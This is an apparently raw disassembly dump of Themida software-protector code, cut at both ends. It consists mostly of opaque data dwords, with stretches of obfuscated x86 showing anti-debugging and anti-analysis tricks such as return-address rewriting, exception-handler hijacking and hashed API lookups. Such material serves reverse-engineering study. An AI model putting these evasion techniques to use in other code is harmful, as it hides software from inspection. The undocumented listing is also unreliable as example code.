8C3Dh, 0FA830F00h, 29000001h, 122CA595h dd 38E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 2ACC21C3h, 3DDED680h, 98h, 1C3830Fh dd 830F0000h, 6, 2F399531h, 858D0612h, 5B243Bh, 10E9h dd 0EB142800h, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 6AD0FFCAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5DF2C351h, 9661F10h, 122AC195h, 8E858D06h dd 8B005B1Eh, 121745BDh, 6AD0FF06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C353C355h dd 0DEDAA05Ah, 0C08BDC86h, 11E9h, 2EBC8C00h, 0CF803AACh dd 0AF3F7B72h, 0AED53236h, 0C88BDCDAh, 2F01BD83h, 75000612h dd 49BD8309h, 61221h, 53501974h, 0C6B8C08Bh, 8900000Bh dd 120B3585h, 99D8D06h, 0FF0614ADh, 83585BD3h, 122149BDh dd 17740006h, 0C6B85350h, 8900000Bh, 120B3585h, 0F89D8D06h dd 0FF0614A9h, 29585BD3h, 12296D95h, 9D89FC06h, 61218BDh dd 0DE9h, 4FFCA200h, 0CA5BFB00h, 0CD2DDBDh, 0C08B4EF8h dd 68B0Fh, 0BD290000h, 6121C99h, 0FFFF883h, 4C85h, 0FE900h dd 185D0000h, 6CD27D80h, 1971F497h, 695D5572h, 6D85C715h dd 61200h, 0B5000000h, 0FCE9F4h, 11E90000h, 5E000000h dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 60E9h dd 6870F00h, 89000000h, 1233E98Dh, 1F88306h, 4B850Fh, 13E80000h dd 6C000000h, 0C17B0C43h, 0DC152A55h, 15A370D4h, 7276F71Bh dd 0F88B653Ch, 0CEE959h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0D170F2C3h, 0FFBD8C3Bh dd 1E51A27h, 12130585h, 0F20AE906h, 8B66FFFFh, 83C08BCBh dd 122F01BDh, 9750006h, 2149BD83h, 74000612h, 8B535019h dd 7DDB8C0h, 85890000h, 6120B35h, 0AD099D8Dh, 0D3FF0614h dd 0BD83585Bh, 6122149h, 50177400h, 7DDB853h, 85890000h dd 6120B35h, 0A9F89D8Dh, 0D3FF0614h, 11E9585Bh, 5E000000h dd 20A02002h, 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 0DAD98166h dd 66C08B75h, 0E9CAF0BFh, 250h, 14958D8Bh, 858D0612h, 615006Dh dd 1C999D01h, 85890612h, 6150265h, 6AEA8166h, 4FE979h dd 8D890000h, 61225ADh, 0FE75858Dh, 40F80614h, 2DE1BD8Bh dd 85890612h, 6150265h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 48C35646h, 5C51CD80h, 10E9h, 0AA785A00h dd 73ABE989h, 5D4089F3h, 973EBF26h, 8D346A46h, 121BCD85h dd 0B5FF5006h, 6150265h, 95FF006Ah, 6122D09h, 0F07F883h dd 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 0C185C600h, 56061215h dd 0A8B85268h, 0F1B5FF9Ch, 8D061217h, 123B4885h, 6AD0FF06h dd 10006804h, 646A0000h, 0D0FF006Ah, 2D88589h, 85C60615h dd 61215C1h, 0AC9B6847h, 0B5FFEC18h, 61217F1h, 3B48858Dh dd 0D0FF0612h, 0F08BD0FFh, 15C185C6h, 684F0612h, 0C62F2661h dd 2FD1B5FFh, 858D0612h, 6123B48h, 9D8DD0FFh, 61502D4h dd 56286A53h, 0C085D0FFh, 85C60075h, 61215C1h, 64986841h dd 0B5FFDB87h, 6122FD1h, 3B48858Dh, 0D0FF0612h, 2F18589h dd 85C60615h, 61215C1h, 0E7A4684Ch, 0B5FF80A4h, 6122FD1h dd 3B48858Dh, 0D0FF0612h, 2D89D8Bh, 5B8D0615h, 9D8D5304h dd 61502DDh, 0FF006A53h, 0D89D8BD0h, 0C7061502h, 103h dd 0C43C700h, 2, 2A1D9D8Bh, 85C70612h, 612072Dh, 0 ; --------------------------------------------------------------------------- push 0 push 0 push 0 mov ebx, [ebp+61502D8h] push ebx push 0 push dword ptr [ebp+61502D4h] call dword ptr [ebp+61502F1h] mov byte ptr [ebp+61215C1h], 45h push 92A5F797h push dword ptr [ebp+612335Dh] lea eax, [ebp+6123B48h] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_5AED4D mov ebx, [ebp+61502D8h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+61502D8h] push ebx push 0 push dword ptr [ebp+61502D4h] call dword ptr [ebp+61502F1h] push dword ptr [ebp+61502D4h] call dword ptr [ebp+6121BB1h] loc_5AED4D: ; CODE XREF: Themida_:005AED19j push 0 call dword ptr [ebp+6122E3Dh] push 0 push edi call sub_5AED60 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AED60 proc near ; CODE XREF: Themida_:005AED58p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5AED60 endp ; --------------------------------------------------------------------------- push esi fcomi st, st(4) adc eax, 7AEA8046h push 0 push eax call sub_5AED83 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AED83 proc near ; CODE XREF: Themida_:005AED7Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5AED83 endp ; --------------------------------------------------------------------------- test ds:6D9D89C6h, ebp daa fcom dword ptr [edx+esi*4-4E62D629h] adc [edx], edx push es loc_5AEDA4: ; CODE XREF: Themida_:loc_5AD45Dj lea eax, [ebp+61533D2h] mov edi, [ebp+61216EDh] push eax push large dword ptr fs:0 mov [ebp+6122121h], ecx mov large fs:0, esp or ecx, 4E47C210h cmp dword ptr [ebp+6122EEDh], 0 jz loc_5AEE4D push 0 push eax call sub_5AEDE3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEDE3 proc near ; CODE XREF: Themida_:005AEDDBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5AEDE3 endp ; --------------------------------------------------------------------------- fstp9 st(4) push es mov [ebp+6121645h], edi cmp dword ptr [ebp+6120EE9h], 1 jnz loc_5AEE4D push 0 push ebp call sub_5AEE14 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEE14 proc near ; CODE XREF: Themida_:005AEE0Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5AEE14 endp ; --------------------------------------------------------------------------- dd 329FE5CFh, 3E62A2BFh, 8091B11Eh, 1506F1BDh, 850F0006h dd 11h, 6860Fh, 0BD8B0000h, 6121ABDh, 116E9h db 0 ; --------------------------------------------------------------------------- loc_5AEE4D: ; CODE XREF: Themida_:005AEDD2j ; Themida_:005AEE03j xor ebx, ebx sub [ebp+61221D5h], ecx xor eax, eax jmp loc_5AEE67 ; --------------------------------------------------------------------------- shr al, 1 lodsd popf test eax, 8713F2CEh retf ; --------------------------------------------------------------------------- popf loc_5AEE67: ; CODE XREF: Themida_:005AEE57j inc eax ; --------------------------------------------------------------------------- dd 0B073F0Fh, 58F64h, 83000000h, 8B6604C4h, 0FFFB83D3h dd 1D840Fh, 8C0F0000h, 6, 0E564E181h, 0C6E937D4h, 0F000000h dd 683h, 0A5858900h, 0E9061221h, 53h, 9DB53156h, 59061214h dd 0C244C8Bh, 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h dd 0C245C8Bh, 0E855h, 815D0000h, 1533F4EDh, 0B8838B06h dd 8D000000h, 15348985h, 0B8838906h, 5D000000h, 81C3C033h dd 7C085EC7h, 595091Ah, 8D061231h, 1533EA85h, 8D8B6006h dd 61218BDh, 870Fh, 50610000h, 7299501h, 0FF640612h, 35h dd 6E900h, 96840000h, 8678E8Ch, 258964h, 89000000h, 12118D8Dh dd 0AB906h, 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 6585C70Ah dd 1061221h, 64000000h, 58Fh, 0C4830000h, 95958B04h, 0E9061224h dd 9, 0C6AF0F19h, 342CD1FBh, 0FC08BC2h, 0BD83D3B7h, 6122F01h dd 83097500h, 122149BDh, 19740006h, 0C08B5350h, 43DB8h dd 0B9858900h, 8D061202h, 14AD709Dh, 5BD3FF06h, 49BD8358h dd 61221h, 53501774h, 43DB8h, 0B9858900h, 8D061202h, 14AA119Dh dd 5BD3FF06h, 9E858h, 0D740000h, 0B98AB433h, 89FDE05Bh dd 122ED1BDh, 8B0F5F06h, 6, 361BD8Bh, 0C08B0612h, 147E9h dd 400h, 392E3100h, 3031h, 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 8B9BD83h, 0F000612h dd 12D84h, 28858D00h, 500614A8h, 0A792858Dh, 68500614h dd 80000001h, 0A83895FFh, 858D0614h, 615351Fh, 29858D50h dd 50061535h, 6A006Ah, 0A7A6858Dh, 0FF500614h, 14A828B5h dd 6995FF06h, 8D061214h, 15351F85h, 858D5006h, 615352Dh dd 6A006A50h, 0B8858D00h, 500614A7h, 0A828B5FFh, 95FF0614h dd 6121469h, 351F858Dh, 8D500615h, 15353985h, 6A5006h dd 858D006Ah, 614A805h, 28B5FF50h, 0FF0614A8h, 12146995h dd 1F858D06h, 50061535h, 3541858Dh, 6A500615h, 8D006A00h dd 14A82385h, 0B5FF5006h, 614A828h, 146995FFh, 858D0612h dd 615351Fh, 3D858D50h, 50061535h, 6A006Ah, 0A80C858Dh dd 0FF500614h, 14A828B5h, 6995FF06h, 8D061214h, 15351F85h dd 858D5006h, 6153531h, 6A006A50h, 14858D00h, 500614A8h dd 0A828B5FFh, 95FF0614h, 6121469h, 351F858Dh, 8D500615h dd 15353585h, 6A5006h, 858D006Ah, 614A81Bh, 28B5FF50h dd 0FF0614A8h, 12146995h, 28B5FF06h, 0FF0614A8h, 12267195h dd 0A2E906h, 0BD830000h, 61217D9h, 95840F00h, 83000000h dd 120EE9BDh, 850F0006h, 11h, 12C1958Bh, 0C2810612h, 1CF8h dd 0FE9h, 0E5958D00h, 8B061224h, 0C2813452h, 3BD4C340h dd 13F19589h, 0BD830612h, 61213F1h, 55840F00h, 8B000000h dd 1213F19Dh, 4CC38306h, 8589038Bh, 6153529h, 13F19D8Bh dd 0C3830612h, 89038B50h, 15352D85h, 0F19D8B06h, 83061213h dd 38B54C3h, 35398589h, 9D8B0615h, 61213F1h, 8B58C383h dd 3D858903h, 8B061535h, 1213F19Dh, 5CC38306h, 8589038Bh dd 6153531h, 8B9BD83h, 0F000612h, 0D85h, 0D9BD8300h, 61217h dd 68840Fh, 0B5FF0000h, 6153541h, 3535B5FFh, 0B5FF0615h dd 6153531h, 353DB5FFh, 0B5FF0615h, 6153539h, 352DB5FFh dd 0B5FF0615h, 6153529h, 3523858Dh, 8D500615h, 15355B85h dd 858D5006h, 612091Dh, 2195FF50h, 83061213h, 406A24C4h dd 3545858Dh, 8D500615h, 12091D85h, 6A5006h, 2D0995FFh dd 16A0612h, 2E3D95FFh, 0C18B0612h, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 61538EFh dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 27B58BFFh, 81061539h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 2BB53B00h, 0F061539h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 13F1858Bh, 18860612h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 995FF08h, 50061216h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 13F1858Bh, 0C60612h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 61213F1h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 61210A5h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5AF50B ; --------------------------------------------------------------------------- mov dword ptr [ebp+61210A5h], 100h loc_5AF50B: ; CODE XREF: Themida_:005AF4FCj pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h dd 0CC85C700h, 1061538h, 50000000h, 244C010Fh, 0D0858FFEh dd 8D061538h, 1538C885h, 0D0BD8D06h, 89061538h, 23E938h dd 858D0000h, 61224E5h, 538408Bh, 9B46F317h, 38C88589h dd 858D0615h, 61224E5h, 893C408Bh, 1538CC85h, 0E5858D06h dd 89061538h, 12160985h, 87E906h, 8B520000h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh dd 8C25A5Eh, 58858D00h, 8906153Bh, 121FDD85h, 80858D06h dd 8906153Bh, 122FF185h, 0A8858D06h, 8906153Bh, 12237D85h dd 9E806h, 0F77F0000h, 88670EAAh, 5ED4EC77h, 0E8CB8166h dd 0EDC68122h, 2B00006Ah, 0C820FC9h, 0E9000000h, 7, 0D67CFC69h dd 8BC0E93Ch, 830F0E14h, 1, 2BEA81F9h, 602D805Ah, 0A1A3BB66h dd 0F63C0DBEh, 0EA81612Eh, 5C5E28F2h, 38F0Fh, 0BF0F0000h dd 0EC281DEh, 52060FC1h, 800Fh, 48F0000h, 6E90Eh, 98AF0000h dd 774DE174h, 6E8h, 0AB919B00h, 0F55FFBBh, 287h, 585F5000h dd 6602E983h, 493B2AB8h, 0C1BF0F49h, 95ACF981h, 850FFFFFh dd 0FFFFFF8Fh, 60DEBF0Fh, 8BCBB70Fh, 83CE8BC0h, 122F01BDh dd 9750006h, 2149BD83h, 74000612h, 8B535019h, 40EB8C0h dd 85890000h, 6120B35h, 0AD099D8Dh, 0D3FF0614h, 0BD83585Bh dd 6122149h, 50177400h, 40EB853h, 85890000h, 6120B35h dd 0A9F89D8Dh, 0D3FF0614h, 820F585Bh, 0Bh, 5820Fh, 81660000h dd 0E9D450EAh, 6, 0A862F4B2h, 0C08B9B57h, 83D1B70Fh, 122EEDBDh dd 840F0006h, 0Ch, 0B9DA8166h, 2B2E969h, 0C9B10000h, 6ADF8Ch dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 67BFBC3h, 5E9h, 795A9200h, 0F7662FF3h, 0F0004C7h, 27B85h dd 0BE900h, 0C1E70000h, 4795E409h, 1C2337C4h, 0C5BD8390h dd 6121Dh, 4D850Fh, 890F0000h, 6, 4BA1CE81h, 12E923BBh dd 4D000000h, 0F55CCE6Bh, 0A2ED6F24h, 756E6F8Fh, 7426501Dh dd 236E927h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 8314DC3h, 493664DEh, 0BF038934h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5AF8BB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF8BB proc near ; CODE XREF: Themida_:005AF8B3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5AF8BB endp ; --------------------------------------------------------------------------- xor [esi+edx*8], cl lea ebx, [ebp+6153F6Eh] mov dh, 3Ch jmp loc_5AF8E8 ; --------------------------------------------------------------------------- db 2Eh dd 1202D0D0h, 0F056A975h, 0B6F34A67h ; --------------------------------------------------------------------------- loc_5AF8E8: ; CODE XREF: Themida_:005AF8D6j push eax mov ch, 0E7h mov [esp], ebx push 0 push ebx call sub_5AF8F9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF8F9 proc near ; CODE XREF: Themida_:005AF8F1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5AF8F9 endp ; --------------------------------------------------------------------------- db 0B4h, 0ACh, 18h dd 664A8ED9h, 0FF64F08Bh, 35h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 76E12F17h dd 25896434h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5AF94B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AF94B proc near ; CODE XREF: Themida_:005AF943p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5AF94B endp ; --------------------------------------------------------------------------- db 0F3h dd 60BDA5FDh, 0F28B66F5h, 52C48B61h, 5C18166h, 1CD5EE6h dd 89B900EBh, 661BA518h, 8F64D68Bh, 5, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 2405208Dh, 0CE9FFh, 0C58D0000h, 0AEFF6E19h, 6E7555Ch dd 0C483E015h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 9A542036h, 0AE9E243h dd 6D000000h, 0BE944B4Fh, 0AC290A6Dh, 0FC00BBFh, 0CF84h dd 7E900h, 0C1B30000h, 19C6BD5Dh, 0BA5361E9h, 48580D13h dd 0F5805659h, 0BD8D5959h, 6127308h, 5E956h, 37A0000h dd 5E78A3A5h, 1B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 602DC2C6h, 0FD78B66h dd 0FF61D7BFh, 0CEB70FE7h, 245C8B57h, 0B8838B10h, 0F000000h dd 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h, 335F0200h dd 13E8C3C0h, 0DB000000h, 401B705Ch, 0A2AA8BFh, 55F37F80h dd 47740614h, 5EF5740Dh, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0BE1FD8B8h, 7E8h, 8756B00h dd 0B2211CA2h, 5800Fh, 0BDB90000h, 5E33F8CEh, 0E8D18B61h dd 14h, 0AED2773Eh, 0EBF97399h, 0D09C808h, 7C5FBEF6h, 0E40604ABh dd 4E28166h, 0C08B5943h, 0CA816660h, 0B8514DD8h, 44F23EC7h dd 0BD83615Ah, 6122F01h, 83097500h, 122149BDh, 19740006h dd 0C08B5350h, 40EB8h, 0B9858900h, 8D061202h, 14AD709Dh dd 5BD3FF06h, 49BD8358h, 61221h, 53501774h, 40EB8h, 0B9858900h dd 8D061202h, 14AA119Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 5182A072h dd 3810Fh, 0D9800000h, 0C08B5E79h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 3AC35343h, 0B95100C5h, 0F022A90h dd 386h, 0D0B70F00h, 8EBC28Bh, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5AFC1C ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_5AFBAC: ; CODE XREF: Themida_:005AFBE3j mov eax, [ebp+6120EE9h] lea eax, [ebp+61576AEh] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+61540BEh], ecx cmp dword ptr [ebp+6121DC5h], 0 jz loc_5AFBE8 pusha push 0 call dword ptr [ebp+61229D1h] popa jmp loc_5AFBAC ; --------------------------------------------------------------------------- loc_5AFBE8: ; CODE XREF: Themida_:005AFBD3j mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is effectively a NOP. pop edx mov [ebp+61540BAh], eax mov esi, [ebp+61540BEh] ror esi, 10h mov [edx+2], si mov esi, [ebp+61540BEh] mov [edx-4], si popa mov eax, [ebp+61540BAh] retn ; --------------------------------------------------------------------------- loc_5AFC1C: ; CODE XREF: Themida_:005AFB9Cj lea edx, [ebp+61200F5h] mov [ebp+61213F1h], edx mov [ebp+61218A9h], edx inc dword ptr [ebp+61218A9h] mov byte ptr [ebp+61215C1h], 53h push 0FCB148D8h push dword ptr [ebp+61217F1h] lea eax, [ebp+6123B48h] call eax mov [ebp+61229D1h], eax lea eax, [ebp+61538FFh] mov [ebp+61227F5h], eax jmp loc_5AFCB6 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5AFC80: ; CODE XREF: Themida_:005AFCABj cmp ecx, 0 jz loc_5AFC9F cmp edi, [edx+0Ch] jg loc_5AFCA7 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5AFC9F: ; CODE XREF: Themida_:005AFC83j ; Themida_:005AFCB1j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5AFCA7: ; CODE XREF: Themida_:005AFC8Cj add edx, 28h dec ecx jnz loc_5AFC80 jmp loc_5AFC9F ; --------------------------------------------------------------------------- loc_5AFCB6: ; CODE XREF: Themida_:005AFC60j mov edx, 9FD3Eh jmp short $+2 jmp loc_5B02B6 ; --------------------------------------------------------------------------- jmp loc_5B02AF ; --------------------------------------------------------------------------- push 61542FDh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6154403h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615448Ch jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615455Eh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6154683h jmp loc_583BD9 ; --------------------------------------------------------------------------- db 53h, 3Eh, 0D1h dd 6EA1EB84h, 0D028821h, 0A76827C0h, 43CCC15Ah, 3FAF06F6h dd 0DB74C14Eh, 79125FB0h, 12ABF817h, 6C46937Ch, 0A172151Dh dd 34114DF4h, 315B145Eh, 43D6A9DEh, 0DF5FA8E3h, 959DB447h dd 47DF5FF2h, 93F38691h, 47DF5FF4h, 0DF60196Fh, 603F4C47h dd 622C47DFh, 0D47DF5Fh, 0C7DF5F7Eh, 7AC46F78h, 0B92F7C7Fh dd 0DA5B1A85h, 22A26E54h, 90FF92C8h, 4B5CF879h, 518BFC04h dd 0EDF8C7E0h, 0B4FB00C4h, 9AEDF5h, 0DEE9C7E0h, 0E07EB4Bh dd 560FC9F2h, 0CEA1D639h, 8C94F33Bh, 0CDF20DFBh, 53127D88h dd 7543BB3Ch, 0A6B40EB3h, 818E0213h, 1AF59B34h, 27E8A25Bh dd 2B87CBFEh, 2CBF03F5h, 6B1BA47h, 72753E81h, 18D742CEh dd 3D0BE10h, 3FBEC9D0h, 6DB5E671h, 2535FCA1h, 75000004h dd 0DA6F31Ch, 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh dd 0E32C618Dh, 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h dd 4DF4A150h, 72805633h, 0A6BEF31Ch, 47DF5FE8h, 7D687985h dd 18B1FE11h, 9B649976h, 8E71CF3h, 2DE2A861h, 58934E9Ah dd 978CD936h, 22BCFE3Fh, 3A3ECh, 1C723E00h, 5057A635h dd 93FE0AB6h, 0C7E375Eh, 8905CE03h, 137E5186h, 106E2080h dd 965A47E0h, 0CDEEA04Bh, 0E010C2C5h, 4BB6C147h, 57B8D38Ch dd 2066C7C4h, 0EF7CD67Dh, 3F479638h, 47DFF548h, 32FB303Bh dd 71F2B15Eh, 5CC0FA36h, 0C8C55827h, 7BB05F2Fh, 0B0FDE6EEh dd 63987717h, 6828F19Ah, 349F72A7h, 0B56FF0E7h, 0ADE6417Fh dd 0B0DB3BCEh, 0AC47DFB3h, 0B3FA8D95h, 7E8947DFh, 0A0B1DAEBh dd 0A40D5AE9h, 70A51014h, 232DDAE3h, 8610D334h, 727A39A4h dd 49F1B254h, 23ECA2A3h, 9D5539B8h, 0F89DEBA7h, 31F31h dd 0ED226F00h, 8A8507A0h, 29E6A43Dh, 0C34C43DCh, 5FB0DD76h dd 5B932212h, 0F790DD32h, 952E7B94h, 2EC714FBh, 8862AF60h dd 0A3563139h, 48254DF4h, 0F31C7272h, 8099F5BEh, 6297020Dh dd 0D01DF299h, 0DF5FE3E8h, 6F830847h, 0C2D947DFh, 0DF6FCDBAh dd 6AA5E547h, 2334C7D2h, 36D9B168h, 0D7E96CBh, 0E947DF70h dd 1F9833E0h, 579D5D5Eh, 0A4AC2DECh, 12FF526Dh, 0ABB322B5h dd 49F240ABh, 2A900F1Ah, 8EBA709h, 2969C63h, 0ABE60000h dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh dd 9C4DF4A3h, 1C72E9BFh, 59828DFDh, 2699BB5Dh, 0EE238EA0h dd 71A66925h, 18D30E92h, 574C9976h, 22BCB87Fh, 708863Fh dd 7C4F7ADEh, 8B1EE596h, 21389h, 6823DB00h, 0F447DF5Fh dd 0A86724DDh, 97F0A073h, 0E447DF5Fh, 5B3546D9h, 0C2CE67B4h dd 6FDA3557h, 0A1EA2FB0h, 0FA9A50Ch, 0B770977Ch, 0DF063BD4h dd 0DFAFB0D7h, 5DC8D347h, 38D7B9CAh, 41A02403h, 0D825EAA6h dd 0BCAEE3E3h, 563822h, 0AE8A0000h, 0EA01C0A5h, 80B55A31h dd 578684ADh, 658C4F70h, 0C2F472D2h, 0F80349F1h, 0A78B0979h dd 7D44E9EBh, 1C4h, 45927D14h, 0E22FE0ACh, 81CE4149h, 1B68A7E8h dd 0B7040B82h, 8D00EEC7h, 0EF9C3582h, 563AD320h, 0BBD36CB9h dd 0DE2D0754h, 0F4A4B1D6h, 1FF5D24Dh, 0E5DAE231h, 0D647DF5Fh dd 0C3CD96CBh, 4481B28Eh, 0AD18639Ch, 0DAB06960h, 0B89E0C35h dd 4E0C6658h, 35E4AABBh, 0AE81B659h, 79810E43h, 0F44002CEh dd 0F35E1956h, 8C830DA6h, 27E8A63Fh, 3DEAE768h, 2415900Ch dd 0A8E3AC91h, 0BBF01F71h, 56307DE8h, 1B88FF07h, 0F0FB47E0h dd 0B1DB94BBh, 1B85020Ah, 0EBF647E0h, 0AEDCED80h, 0A9B71461h dd 434C05C4h, 63C497CCh, 6C51E42Bh, 0DB28E7A3h, 0E01B98F3h dd 70555E47h, 4329A9B1h, 899449F2h, 947B11CAh, 31DEAE47h dd 38D7B972h, 0B89D3003h, 0AF6EA1EFh, 3510C12Eh, 0F184F330h dd 0C6CEE50Ch, 4DF1F8C1h, 1324B7C2h, 4C3B4378h, 